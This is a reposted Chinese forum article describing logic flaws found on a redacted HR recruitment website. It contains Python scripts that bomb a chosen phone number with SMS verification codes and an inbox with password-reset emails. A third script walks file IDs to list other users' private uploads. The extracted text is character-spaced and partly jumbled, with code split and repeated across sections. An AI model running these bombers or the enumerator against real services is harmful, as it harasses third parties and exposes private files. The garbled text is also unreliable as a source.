搜索

[14158] 2019-05-27_某HR业务网站逻辑漏洞挖掘案例以及POC编写思路分享

文档创建者：s7ckTeam
浏览次数：9
最后更新：2025-01-18
2019-05-27_某HR业务网站逻辑漏洞挖掘案例以及POC编写思路分享 某 H R 业 务 网 站 逻 辑 漏 洞 挖 掘 案 例 以 及 P O C 编 写 思 路 分 享 艾 登 — — 皮 尔 斯   F r e e B u f   2 0 1 9 - 0 5 - 2 7 前 言 前 言 各 位 各 位 B u f f e r 你 们 好 ， 我 们 许 久 不 见 胜 似 想 念 ， 我 看 到 小 粉 你 们 的 感 觉 就 是 你 们 好 ， 我 们 许 久 不 见 胜 似 想 念 ， 我 看 到 小 粉 你 们 的 感 觉 就 是 " 春 风 拂 过 泸 沽 湖 ， 秋 雨 浸 润 九 寨 沟 春 风 拂 过 泸 沽 湖 ， 秋 雨 浸 润 九 寨 沟 " 。 今 天 鄙 人 我 给 大 家 带 来 的 。 今 天 鄙 人 我 给 大 家 带 来 的 “ 干 货 干 货 ” 是 逻 辑 漏 洞 挖 掘 的 案 例 和 使 用 是 逻 辑 漏 洞 挖 掘 的 案 例 和 使 用 P y t h o n 3 编 写 漏 洞 编 写 漏 洞 P O C 。 。 首 先 引 用 我 的 前 辈 w i n w a y 的 一 句 话 “ 记 得 以 前 有 个 老 师 说 过 ， 学 到 跟 赚 到 的 要 分 享 给 其 他 人 ， 这 样 才 能 获 得 更 多 记 得 以 前 有 个 老 师 说 过 ， 学 到 跟 赚 到 的 要 分 享 给 其 他 人 ， 这 样 才 能 获 得 更 多 ” ， 今 天 鄙 人 分 享 一 篇 关 于 某 H R 平 台 的 逻 辑 漏 洞 挖 掘 案 例 的 文 章 。 以 及 使 用 P y t h o n 3 编 写 漏 洞 P O C 的 思 维 ( 思 想 ) 的 分 享 ， 希 望 各 位 F r e e b u f 小 粉 喜 欢 。 工 具 准 备 工 具 准 备 B u r p S u i t e F r e e   ( 可 能 大 家 最 喜 欢 最 常 用 的 抓 包 神 器 ， 需 要 J a v a 环 境 ) ； 火 狐 浏 览 器 ( 个 人 比 较 喜 欢 的 浏 览 器 ； 3 6 0 / C h r o m e 等 浏 览 器 都 可 以 ) ； S w i t c h y O m e g a 插 件 ( 设 置 快 速 切 换 代 理 的 浏 览 器 插 件 ) ； P y t h o n 3 ( 用 来 后 期 编 写 批 量 验 证 漏 洞 危 害 的 P O C ) 。 测 试 对 象 测 试 对 象 目 标 ： h t t p s : / / w w w h d d d d d d d d d c o m / ( 脱 敏 ) I P 地 址 ： 4 7 . * . . * * 运 营 商 ： 中 国 香 港 阿 里 云 | 网 站 中 间 件 ： T o m c a t 操 作 系 统 ： L i n u x W e b 框 架 ： B o o t s t r a p 已 挖 掘 出 的 逻 辑 漏 洞 类 型 已 挖 掘 出 的 逻 辑 漏 洞 类 型 任 意 手 机 用 户 注 册 ； 注 册 短 信 验 证 码 轰 炸 ； 密 码 重 置 邮 件 轰 炸 ； 未 授 权 访 问 导 致 敏 感 信 息 泄 露 。 一 、 任 意 手 机 用 户 注 册 一 、 任 意 手 机 用 户 注 册 ( 低 危 低 危 ) ( 1 ) 打 开 浏 览 器 ， 访 问 该 H R 业 务 系 统 的 注 册 页 面 ( 如 下 图 所 示 ) ： ( 2 ) 在 注 册 人 手 机 输 入 框 中 随 便 任 意 输 入 一 个 1 1 位 的 手 机 号 码 ， 然 后 在 浏 览 器 中 按 F 1 2 调 试 出 浏 览 器 的 开 发 者 工 具 点 击 " N e t w o r k " 。 然 后 点 击 “ 获 取 验 证 码 ” 的 按 钮 。 然 后 我 们 可 以 清 楚 看 到 R e s p o n s e 成 功 显 示 了 6 位 验 证 码 。
( 3 ) 重 新 获 取 6 位 验 证 码 进 行 任 意 账 号 注 册 ： ( 4 ) 成 功 复 现 任 意 账 户 注 册 ： 二 、 注 册 短 信 验 证 码 轰 炸 二 、 注 册 短 信 验 证 码 轰 炸 ( 1 ) 打 开 B u r p S u i t e F r e e 设 置 好 浏 览 器 的 本 地 代 理 ： ( 2 ) 我 们 抓 取 获 取 验 证 码 的 请 求 包 ：
( 3 ) 然 后 按 C t r l + R 把 这 个 请 求 包 发 送 到 “ R e p e a t e r ” 模 块 ： ( 4 ) 然 后 点 击 “ G o ” 发 送 请 求 包 查 看 响 应 数 据 包 ： 可 以 看 到 响 应 包 成 功 响 应 并 且 返 回 了 6 位 的 验 证 码 。 ( 5 ) 连 续 点 击 “ G o ” 发 送 请 求 包 查 看 响 应 包 ：
可 以 看 到 每 次 的 响 应 包 中 的 6 位 验 证 码 都 不 一 样 ， 疑 似 存 在 短 信 验 证 码 轰 炸 漏 洞 ， 这 时 候 我 们 要 祭 出 我 们 的 P y t h o n 来 编 写 " 验 证 码 轰 炸 的 P O C " 。 P O C 编 写 核 心 思 路 ： 编 写 核 心 思 路 ： 通 过 R e q u e s t s 模 块 批 量 模 拟 浏 览 器 客 户 端 请 求 获 取 注 册 验 证 码 的 数 据 包 发 送 。 短 信 验 证 码 轰 炸 P O C 代 码 如 下 ： P O C 运 行 效 果 截 图 ： 运 行 效 果 截 图 ： P O C 运 行 后 会 让 你 输 入 接 受 的 手 机 号 码 和 攻 击 测 试 的 次 数 来 验 证 短 信 验 证 码 轰 炸 漏 洞 ， 然 后 回 车 P O C 就 会 自 动 运 行 了 。 手 机 短 信 收 件 箱 的 截 图 ： #   - -   c o d i n g :   u t f - 8   - - i m p o r t   r e q u e s t s s e s s i o n   =   r e q u e s t s . s e s s i o n ( ) h e a d e r s   =   { ' R e f e r e r ' : " h t t p s : / / w w w . * * * * * * * * * * . c o m / * * * * * / r e g " ,                       ' U s e r - A g e n t ' : ' M o z i l l a / 5 . 0   ( W i n d o w s   N T   1 0 . 0 ;   W O W 6 4 )   A p p l e W e b K i t / 5 3 7 . 3 6   ( K H T M L ,   l i k e   G e c k o )   C h r o m e / 6 3 . 0 . 3 2 3 9 . 1 3 2   S a f a r i / 5 3 7 . 3 6 ' } n = 0 u r l = ( " h t t p s : / / w w w . * * * * * * * * * . c o m / r * * * / g e t M o b i l e C o d e " ) d e f   S m s B o o m ( p h p n u m b e r , u r l ) :         d a t a   =   { ' m o b i l e ' :   p h p n u m b e r , }         r o n   =   s e s s i o n . p o s t ( u r l ,   h e a d e r s = h e a d e r s ,   d a t a = d a t a ) p h p n u m b e r   =   i n p u t ( " 请 输 入 你 的 手 机 号 码 : " ) A c k N u m b e r   =   i n t ( i n p u t ( " 请 你 输 入 攻 击 的 次 数 : " ) ) w h i l e   T r u e :         S m s B o o m ( p h p n u m b e r , u r l )         n   + =   1         p r i n t ( " [ + ] 成 功 发 送 { } 条 " . f o r m a t ( n ) )         i f   n   = =   A c k N u m b e r :                 p r i n t ( ' 结 束 攻 击 ' )                 b r e a k S m s B o o m ( p h p n u m b e r , u r l )
成 功 接 收 到 2 0 条 注 册 验 证 码 短 信 ， 成 功 验 证 并 且 复 现 了 短 信 验 证 码 轰 炸 漏 洞 复 现 了 短 信 验 证 码 轰 炸 漏 洞 。 三 、 密 码 重 置 邮 件 轰 炸 三 、 密 码 重 置 邮 件 轰 炸 ( 低 危 低 危 ) 这 个 漏 洞 主 要 是 由 于 重 置 邮 件 发 送 冷 却 时 间 校 验 限 制 不 严 谨 导 致 。 ( 1 ) 在 重 置 密 码 的 页 面 输 入 邮 箱 ， 然 后 点 击 提 交 ： ( 2 ) B u r p 成 功 抓 取 到 发 送 重 置 密 码 的 邮 件 请 求 包 ：
( 3 ) 然 后 按 C t r l + R 把 这 个 请 求 包 发 送 到 “ R e p e a t e r ” 模 块 , 连 续 点 击 " G o " ： 然 后 你 懂 了 吧 ， 又 存 在 重 置 密 码 邮 件 轰 炸 ， 我 们 打 开 P y C h a r m ， 开 始 编 写 重 置 密 码 邮 件 轰 炸 的 自 动 化 利 用 P O C ： 重 置 密 码 邮 件 轰 炸 P O C 代 码 如 下 ： i m p o r t   r e q u e s t s s e s s i o n   =   r e q u e s t s . s e s s i o n ( ) h e a d e r s   =   { ' R e f e r e r ' : " h t t p s : / / w w w . * * * * * * * * * * . c o m / l o g i n " , ' U s e r - A g e n t ' : ' M o z i l l a / 5 . 0   ( W i n d o w s   N T   1 0 . 0 ;   W O W 6 4 )   A p p l e W e b K i t / 5 3 7 . 3 6   ( K H T M L ,   l i k e   G e c k o )   C h r o m e / 6 3 . 0 . 3 2 3 9 . 1 3 2   S a f a r i / 5 3 7 . 3 6 ' n = 0 d e f   E m a i l B o o m ( E m a i l ) :         u r l   =   ' h t t p s : / / w w w . * * * * * * * * * * * . c o m / * * * * * * * * * * / u s e r / * * * * * * * * E m a i l '         d a t a   =   { ' v a l i d C o d e T y p e ' : 2 ,                         ' e m a i l ' : E m a i l ,                         ' S I T E . b a s e p a t h ' : ' h t t p s : / / w w w . * * * * * * * * * * . c o m : 4 4 3 / ' }         r o n   =   s e s s i o n . p o s t ( u r l ,   h e a d e r s = h e a d e r s ,   d a t a = d a t a )         p r i n t ( r o n . t e x t ) E m a i l   =   i n p u t ( " 请 输 入 你 的 邮 件 : " ) A c k N u m b e r   =   i n t ( i n p u t ( " 请 你 输 入 攻 击 的 次 数 : " ) )
P O C 运 行 效 果 截 图 ： 运 行 效 果 截 图 ： 输 入 接 收 邮 箱 和 攻 击 测 试 的 次 数 ， 然 后 回 车 运 行 就 可 以 看 到 P O C 正 在 疯 狂 的 输 出 请 求 包 ： 运 行 完 成 我 们 打 开 Q Q 邮 箱 查 看 重 置 密 码 邮 件 轰 炸 漏 洞 的 攻 击 效 果 ： 可 以 看 到 Q Q 邮 箱 已 经 被 重 置 密 码 的 邮 件 给 淹 没 了 — — 重 置 密 码 邮 件 轰 炸 漏 洞 成 功 复 现 。 重 置 密 码 邮 件 轰 炸 漏 洞 成 功 复 现 。 四 、 未 授 权 访 问 导 致 敏 感 信 息 泄 露 四 、 未 授 权 访 问 导 致 敏 感 信 息 泄 露 ( 高 危 高 危 ) ( 1 ) 打 开 另 一 个 注 册 界 面 / r e g / r e g 界 面 如 下 ， 有 个 上 传 位 置 的 地 方 ， 我 们 随 便 上 传 一 张 图 片 文 件 ： A c k N u m b e r   =   i n t ( i n p u t ( " 请 你 输 入 攻 击 的 次 数 : " ) ) w h i l e   T r u e :         E m a i l B o o m ( E m a i l )         n   + =   1         p r i n t ( " 成 功 发 送 { } 封 " . f o r m a t ( n ) )         i f   n   = =   A c k N u m b e r :                 p r i n t ( ' 结 束 攻 击 ' )                 b r e a k p y t h o n   E m a i l _ B o o m . p y
( 2 ) 成 功 上 传 好 文 件 之 后 ， F 1 2 查 找 文 件 上 传 路 径 无 果 ： 可 以 看 到 a 标 签 的 链 接 到 的 对 象 资 源 是 " j a v a s c r i p t : v o i d ( 0 ) ; " ： 但 是 我 突 然 发 现 鼠 标 点 击 文 件 名 称 却 可 以 直 接 下 载 刚 刚 上 传 上 去 文 件 ： ( 3 ) 在 浏 览 器 中 按 “ C t r l + J ” 组 合 键 ， 打 开 浏 览 器 的 下 载 管 理 器 ：
( 4 ) 可 以 看 到 W i n d o w s . p n g 的 下 载 地 址 ， 我 看 到 后 面 的 “ d o w n ? f i l e i d = 7 6 5 9 5 ” ， 我 就 想 尝 试 修 改 后 面 的 f i l e i d 的 值 能 不 能 下 载 其 他 用 户 上 传 的 文 件 。 ( 6 ) 可 以 看 到 是 可 以 直 接 下 载 相 关 的 文 件 的 ， 当 访 问 一 些 没 有 对 应 文 件 的 I D 的 时 候 就 会 提 示 “ 文 件 不 存 在 ” 。 ( 7 ) 这 时 候 又 到 了 P y C h a r m 上 场 了 ， 开 始 编 写 P O C 脚 本 ： P O C 编 写 核 心 思 路 ： 编 写 核 心 思 路 ： 在 w h i l e 循 环 中 让 某 变 量 x + = 1 ， 然 后 把 这 个 赋 值 给 d o w n ? f i l e i d = * * * * ， 再 使 用 P y t h o n 的 r e q u e s t s 库 的 G e t 请 求 方 式 进 行 批 量 请 求 ， 对 请 求 的 响 应 包 进 行 判 断 是 否 等 于 “ 文 件 不 存 在 ！ ” 等 于 直 接 p a s s , 不 等 于 则 把 当 前 存 在 文 件 的 链 接 写 出 到 根 目 录 下 的 t x t 文 档 。 然 后 再 通 过 I D M 下 载 工 具 进 行 批 量 下 载 文 件 。 骚 ！ ！ ！ ！
未 授 权 访 问 导 致 信 息 泄 露 P O C 代 码 如 下 ： P O C 运 行 效 果 截 图 ： 运 行 效 果 截 图 ： ① 运 行 批 量 检 测 P O C 脚 本 之 后 ， 脚 本 就 会 自 动 开 始 把 请 求 结 果 输 出 到 屏 幕 上 面 如 下 图 所 示 ： ② 在 脚 本 的 根 目 录 下 的 存 在 文 件 的 I D 地 址 . t x t 文 档 中 叶 成 功 保 存 了 存 在 文 件 的 链 接 ： ③ C t r l + A 复 制 全 部 链 接 ， 然 后 打 开 I D M ， 选 择 从 剪 切 板 批 量 导 入 下 载 链 接 ， 可 以 从 文 件 名 判 断 出 这 些 都 是 敏 感 文 件 ， 这 里 鄙 人 就 不 做 越 界 下 载 这 些 的 动 作 了 。 #   - -   c o d i n g :   u t f - 8   - - i m p o r t   r e q u e s t s i m p o r t   o s h e a d e r s   =   { ' U s e r - A g e n t ' : ' M o z i l l a / 5 . 0   ( W i n d o w s   N T   1 0 . 0 ;   W O W 6 4 )   A p p l e W e b K i t / 5 3 7 . 3 6   ( K H T M L ,   l i k e   G e c k o )   C h r o m e / 6 3 . 0 . 3 2 3 9 . 1 3 2   S a f a r i / 5 3 7 . 3 6 ' } u r l   =   ( " h t t p s : / / w w w . * * * * * * * * * * * * . c o m / c o n f i g / * * * * * * * * * * * / d o w n ? f i l e i d = " ) N u m b e r =   i n t ( i n p u t ( " [ + ] 请 你 输 入 开 始 I D ： " ) ) p r i n t ( ' = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = 开 始 检 测 敏 感 文 件 = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = ' ) w h i l e   T r u e :         f   =   o p e n ( ' 存 在 文 件 的 I D 地 址 . t x t ' ,   ' a + ' )     #   写 入 一 个 文 件         N u m b e r   + =   1         r e q u r l =   ( u r l + " { } " . f o r m a t ( s t r ( N u m b e r ) ) )         r e s p o n s e   =   r e q u e s t s . g e t ( u r l = r e q u r l , h e a d e r s = h e a d e r s )         i f   r e s p o n s e . t e x t   = =   s t r ( " 文 件 不 存 在 ！ " ) :                 p r i n t ( " [ + ] 当 前 请 求 链 接 : " + r e q u r l + "                 敏 感 文 件 不 存 在   " )                 p a s s         e l s e :                 f . w r i t e ( " 当 前 请 求 链 接 : " + r e q u r l + " n " )                 p r i n t ( " [ + ] 当 前 请 求 链 接 : " + r e q u r l + "                 存 在 敏 感 文 件           " , + r e s p o n s e . s t a t u s _ c o d e , )                 f . c l o s e ( ) p y t h o n   O v e r r i d e _ a c c e s s _ P O C . p y
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理